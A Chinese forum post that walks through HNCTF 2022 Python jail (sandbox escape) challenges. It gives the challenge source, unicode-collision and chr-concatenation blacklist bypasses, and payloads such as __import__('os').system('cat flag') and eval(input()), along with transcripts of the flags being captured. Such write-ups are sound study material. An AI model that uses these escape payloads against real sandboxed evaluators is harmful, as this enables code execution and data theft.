Jail 【Python沙箱逃逸问题合集】

打印 上一主题 下一主题

主题 834|帖子 834|积分 2502

借助NSS平台题目,以2022年HNCTF为例展开分析

背景:
由于目前很多赛事有时候会出现一些pyjail的题目,因此在这里总结一下以便以后遇见可以轻松应对。
注:由于Python3中的unicode特性,所以也会见到unicode碰撞的题目,因此利用下面脚本可以获取一些常用的碰撞unicode。
exp:
  1. from unicodedata import normalize
  2. from string import ascii_lowercase
  3. from collections import defaultdict
  4. lst = list(ascii_lowercase)
  5. dic = defaultdict(list)
  6. for char in lst:
  7.     for i in range(0x110000):
  8.         if normalize("NFKC", chr(i)) == char:
  9.             dic[char].append(chr(i))
  10.         if len(dic[char]) > 9:
  11.             break
  12. print(dic)
复制代码
[HNCTF 2022 Week1]calc_jail_beginner(JAIL)

连接靶机进入题目
  1. nc node5.anna.nssctf.cn 28565                                                                                                    ─╯
  2.   _     ______      _                              _       _ _
  3. | |   |  ____|    (_)                            | |     (_) |
  4. | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
  5. | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
  6. | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
  7. |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
  8.                __/ |                                          
  9.               |___/                                            
  10. Welcome to the python jail
  11. Let's have an beginner jail of calc
  12. Enter your expression and I will evaluate it for you.
  13. >
复制代码
签到题,一把梭
  1. open("flag").read()
复制代码
  1. Welcome to the python jail
  2. Let's have an beginner jail of calc
  3. Enter your expression and I will evaluate it for you.
  4. > open("flag").read()
  5. Answer: flag=NSSCTF{25df994d-430f-498d-a4dd-ddb660ada60e}
复制代码
[HNCTF 2022 Week1]python2 input(JAIL)

连接靶机进入题目
  1. nc node5.anna.nssctf.cn 28167                                                                                                    ─╯
  2.               _   _      ___        ___    _____             _    _ _   
  3.              | | | |    / _ \      |__ \  |_   _|           | |  | | |  
  4.   _ __  _   _| |_| |__ | | | |_ __    ) |   | |  _ __  _ __ | |  | | |_
  5. | '_ \| | | | __| '_ \| | | | '_ \  / /    | | | '_ \| '_ \| |  | | __|
  6. | |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_
  7. | .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
  8. | |     __/ |                                        | |               
  9. |_|    |___/                                         |_|                              
  10. Welcome to the python jail
  11. But this program will repeat your messages
  12. >
复制代码
  1. __import__("os").system("cat flag")
复制代码
  1. Welcome to the python jail
  2. But this program will repeat your messages
  3. > __import__("os").system("cat flag")
  4. flag=NSSCTF{2d86dce6-3763-438d-9e8e-554b267c1da6}
  5. 0
复制代码
[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)

附件信息
  1. #the function of filter will banned some string ',",i,b
  2. #it seems banned some payload
  3. #Can u escape it?Good luck!
  4. def filter(s):
  5.     not_allowed = set('"\'`ib')
  6.     return any(c in not_allowed for c in s)
  7. WELCOME = '''
  8.   _                _                           _       _ _   _                _ __
  9. | |              (_)                         (_)     (_) | | |              | /_ |
  10. | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
  11. | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
  12. | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
  13. |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
  14.               __/ |                          _/ |                                 
  15.              |___/                          |__/                                                                                      
  16. '''
  17. print(WELCOME)
  18. print("Welcome to the python jail")
  19. print("Let's have an beginner jail of calc")
  20. print("Enter your expression and I will evaluate it for you.")
  21. input_data = input("> ")
  22. if filter(input_data):
  23.     print("Oh hacker!")
  24.     exit(0)
  25. print('Answer: {}'.format(eval(input_data)))
复制代码
连接靶机进入题目
  1. nc node5.anna.nssctf.cn 28239                                                                                                    ─╯
  2.   _                _                           _       _ _   _                _ __
  3. | |              (_)                         (_)     (_) | | |              | /_ |
  4. | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
  5. | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
  6. | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
  7. |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
  8.               __/ |                          _/ |                                 
  9.              |___/                          |__/                                                                                      
  10. Welcome to the python jail
  11. Let's have an beginner jail of calc
  12. Enter your expression and I will evaluate it for you.
  13. >
复制代码
过滤了部分字符,使用chr拼接flag
  1. open(chr(102)+chr(108)+chr(97)+chr(103)).read()
复制代码
  1. Welcome to the python jail
  2. Let's have an beginner jail of calc
  3. Enter your expression and I will evaluate it for you.
  4. > open(chr(102)+chr(108)+chr(97)+chr(103)).read()
  5. Answer: flag=NSSCTF{37ce5cec-7057-42d9-97fd-09b4ebc0e443}
复制代码
[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)

附件信息
  1. #the length is be limited less than 13
  2. #it seems banned some payload
  3. #Can u escape it?Good luck!
  4. WELCOME = '''
  5.   _                _                           _       _ _   _                _ ___  
  6. | |              (_)                         (_)     (_) | | |              | |__ \
  7. | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
  8. | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / /
  9. | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_
  10. |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
  11.               __/ |                          _/ |                                    
  12.              |___/                          |__/                                                                           
  13. '''
  14. print(WELCOME)
  15. print("Welcome to the python jail")
  16. print("Let's have an beginner jail of calc")
  17. print("Enter your expression and I will evaluate it for you.")
  18. input_data = input("> ")
  19. if len(input_data)>13:
  20.     print("Oh hacker!")
  21.     exit(0)
  22. print('Answer: {}'.format(eval(input_data)))
复制代码
连接靶机
  1. nc node5.anna.nssctf.cn 28837                                                                                                    ─╯
  2.   _                _                           _       _ _   _                _ ___  
  3. | |              (_)                         (_)     (_) | | |              | |__ \
  4. | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
  5. | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / /
  6. | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_
  7. |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
  8.               __/ |                          _/ |                                    
  9.              |___/                          |__/                                                                           
  10. Welcome to the python jail
  11. Let's have an beginner jail of calc
  12. Enter your expression and I will evaluate it for you.
  13. >
复制代码
限制了输入的字符长度不大于13
  1. eval(input())
复制代码
这样就可以不限制输入并且执行了
  1. Welcome to the python jail
  2. Let's have an beginner jail of calc
  3. Enter your expression and I will evaluate it for you.
  4. > eval(input())
  5. open("flag").read()
  6. Answer: flag=NSSCTF{48ba857a-34ec-4f31-ad69-726ef76d28c8}
复制代码
[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)

附件信息
  1. #the length is be limited less than 13
  2. #it seems banned some payload
  3. #banned some unintend sol
  4. #Can u escape it?Good luck!
  5. def filter(s):
  6.     BLACKLIST = ["exec","input","eval"]
  7.     for i in BLACKLIST:
  8.         if i in s:
  9.             print(f'{i!r} has been banned for security reasons')
  10.             exit(0)
  11. WELCOME = '''
  12.   _                _                           _       _ _ _                _ ___    _____
  13. | |              (_)                         (_)     (_) | |              | |__ \  | ____|
  14. | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
  15. | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \
  16. | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
  17. |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
  18.               __/ |                          _/ |                                          
  19.              |___/                          |__/                                                                                                            
  20. '''
  21. print(WELCOME)
  22. print("Welcome to the python jail")
  23. print("Let's have an beginner jail of calc")
  24. print("Enter your expression and I will evaluate it for you.")
  25. input_data = input("> ")
  26. filter(input_data)
  27. if len(input_data)>13:
  28.     print("Oh hacker!")
  29.     exit(0)
  30. print('Answer: {}'.format(eval(input_data)))
复制代码
2.5在level2基础上既有过滤又有长度限制。浅试了一下大概ban了eval、input、exec这几个字符,但是python中存在unicode的注入,所以直接调用level2的payload改下unicode就OK了,可使用背景处的碰撞脚本实现。
[code]
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

写过一篇

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表